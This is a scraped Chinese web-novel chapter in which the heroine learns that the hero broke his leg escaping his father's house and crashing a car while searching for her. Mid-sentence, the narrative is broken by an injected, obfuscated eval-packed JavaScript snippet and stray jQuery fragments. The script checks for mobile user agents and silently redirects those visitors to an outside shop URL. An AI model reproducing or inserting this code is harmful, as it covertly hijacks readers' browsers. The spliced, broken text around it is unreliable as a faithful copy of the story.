58. 第 58 章

作品:《始乱终弃了少爷后

    他们在杭城玩了一周,出名的地方都去过了,柳崇光的电话从一天一遍变成了一天三遍,司辰才不紧不慢地确定了返回的日期。


    回去的前一天,下了淅淅沥沥的小雨,二人没出门,在庭院的阳伞下喝茶赏景。


    细雨如丝,浸润心灵,湿润水汽裹挟着桂花的甜香,让人闻着心旷神怡。


    “原来桂花是这个味道。”阮离托腮看着不远处枝头上玲珑可爱的黄色花朵。


    然后接过司辰递给她一杯热茶,低头看了一眼,问:“这是我们昨天在景区买的那罐龙井吗?”


    “嗯。”


    她喝了一小口,品了半天,没觉得和以前家里招待客人喝的便宜茶有什么太大区别,不过还挺解渴的。


    “如果你喜欢这里,我们可以经常过来玩。”司辰帮她续杯,深色茶壶衬得他的手指洁白如玉。


    “那柳崇光不得发疯啊,”阮离都能想象到柳崇光这几天有多崩溃,不知道他那一头绿毛有没有被薅秃。


    “还是工作比较重要。”


    这次来杭城,也算是圆了她年少的梦想。如果当年高考后爸爸没有出事,她应该会报这里的大学,在这里度过美好的四年。


    毕业之后可能会留在这里工作,前几年先租房,攒够钱就买房,按照自己的喜好装修,然后养一只猫……


    不过现在也很好,虽然工作没着落,但是有了一个又帅又有钱的少爷男朋友,还有可爱的狗狗。


    “对了,冻柿子你托付给谁了?”她这几天玩得太开心,把冻柿子忘得一干二净。


    “肖承烨,我出国那几年都是他帮我照顾的。”司辰想起什么,叹了口气,“刚回来那一周,冻柿子都不理我,有一天晚上突然就离家出走了,我找了一宿,第二天早上给肖承烨打电话,他那天没在家住,屁颠屁颠回去后才发现冻柿子在他家门外蹲了一晚上。”


    阮离听得心疼:“谁让你好几年都不陪在它身边,不过你一毕业就出国了,冻柿子是什么时候养的?”


    “谁说我一毕业就出国了。”


    听他这么说,阮离忽然想起之前家宴听到的八卦,脸上浮现凝重:“所以你毕业后真的被大老板打断了腿?”


    “腿确实是断了,养了快一年才彻底恢复。”看她满脸心疼,伸手揉揉她脑袋,“不过不是被他打断的,是我自己摔的。”


    “怎么摔的?”一年才彻底恢复好,那得摔得多严重啊。


    司辰没有马上回答,把桌上的茶杯一个个放回托盘里,像有强迫症一般摆了半天,才在阮离刨根问底的目光中清了清嗓子,然后说:“跳楼……还有车祸。”


    阮离愣住了。


    高考之后,他在约定的地点等了一晚上,可是她没来,他连着去了一周,连个人影都没有。那时候阮离连手机都没有,根本不知道怎么联系上她。就像是人间蒸发一般,消失在他的世界里。


    走投无路的情况下,他低声下气去求司昌钧帮忙,对方不仅没帮他,还逼他去国外读书,他自然不同意,还没找到阮离,他怎么可能离开。


    司昌钧将他锁在房间里,他房间在三楼,估计司昌钧也没想到他会跳窗,要不然早就把窗户封上了。


    本来他计划得很好,用窗帘系在床脚顺着窗户逃下去,但他低估了自己的体重,高估了窗帘的质量,往下爬的过程中窗帘撕开了,他从二楼半的地方摔了下去,虽然及时调整身位没落得个大头朝下横尸当场的倒霉结局,但脚腕咔嚓一声,疼痛感明显,不知道是骨折还是断了。司昌钧听到动静一边怒吼一边出来抓他,他拖着条断腿去地下车库取车就跑,司机开着车在后面追他。


    最倒霉的事情发生了,因为腿疼让他精神恍惚几乎看不清前面的路,后面的追缉又让他精神压力倍增,速度越飚越快。转弯时候,对面突然出现了一辆车,车速也不慢,虽然他们同时向


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027113|186746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相反方向猛转,但他本来就受伤的脚还是蹭到了车头。


    “然后司昌钧把我送到了医院,医生说是粉碎性骨折,他在医院把还在急救推车上躺着的我骂了个狗血淋头,后来就传是他把我腿打断的了。”


    司辰说着说着笑起来,“那段时间司昌钧脸拉得比驴还长,脾气差得路过条狗都得被他骂几句,柳姨那么能忍的人都差点跟他分手。”


    阮离却没笑,司辰抬头看过去,只看了一眼就怔住了,然后手忙脚乱地拉开抽屉扒拉半天,才找到一包纸巾,抽出一张纸探身过去帮她擦眼泪。


    “你别哭啊,都过去了,已经没事了,你看我现在这不是好好的吗?”


    她眨下一串泪珠,抽噎着说:“……对不起……我应该去见你,把事情说清楚的。”


    可是那时她只知道逃避,她不想被任何人看到自己的狼狈,也不想接受任何人的安慰。因为没有经历过就无法感同身受,所以那些“一切都会过去的”“向前看”的苍白安慰对于她来说,更像是一种高高在上的炫耀与嘲讽。


    她以为自己并不重要,可以悄悄出现又默默消失,不会有人因为她的消失而感到不安与难过。


    却原来,还有人因为她不负责任的逃避经受了这一番痛苦折磨。


    “如果你真的来见我,你准备对我说什么?”司辰边帮她擦眼泪边问。


    阮离卡壳了一下,她没想过这个问题。


    “你知道我原本准备说什么。如果我真的说了,你会接受吗?”


    阮离又没回答上。


    那种情况下,她有什么资格接受。


    “其实那个时候你也没喜欢上我吧,所以如果我说了,你肯定会拒绝的。”


    “所以现在这样就很好。”


    不是的,她早就动心了,比他想象得要早很多。


    然而她并没有解释,只是轻轻抱住他,轻声说:“嗯,很好。”